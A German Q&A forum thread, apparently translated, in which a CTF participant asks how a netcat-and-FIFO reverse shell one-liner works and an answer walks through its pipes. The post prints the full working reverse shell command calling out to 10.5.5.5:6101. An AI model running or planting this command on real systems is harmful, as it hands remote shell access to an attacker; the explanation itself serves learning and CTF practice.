Während ich eine CTF-Herausforderung auf einer Plattform durchführte, brauchte ich eine Reverse Shell, konnte aber keine zum Laufen bringen. Deshalb schaute ich mir die Prozesse an und fand einen Reverse-Shell-Code:
rm /tmp/m;mkfifo /tmp/m;cat /tmp/m|/bin/sh -i 2>&1|nc 10.5.5.5 6101 >/tmp/m
Das hat tatsächlich funktioniert, aber ich verstehe nicht wirklich, wie die Leitungen funktionieren, wohin die Daten gesendet werden usw. Kann mir das bitte jemand erklären?
Antwort1
Dadurch wird eine ferngesteuerte Shell auf dem System eingerichtet. Die Ein- und Ausgaben sind wie folgt:
cat /tmp/m
liest aus dem/tmp/m
FIFO und schreibt es in ...|/bin/sh -i 2>&1
das die gelesenen Befehle ausführt und seine Ausgabe (sowohl Standardausgabe als auch Standardfehler) an ... sendet.|nc 10.5.5.5 6101
welches eine Verbindung zu 10.5.5.5:6101 herstellt und schreibt in>/tmp/m
das FIFO.
Somit kann das Remote-System Befehle eingeben, die über übertragen nc
, in das FIFO geschrieben, von gelesen und cat
von interpretiert werden sh
. Die Ausgabe dieser Befehle wird über an das Remote-System zurückgesendet nc
.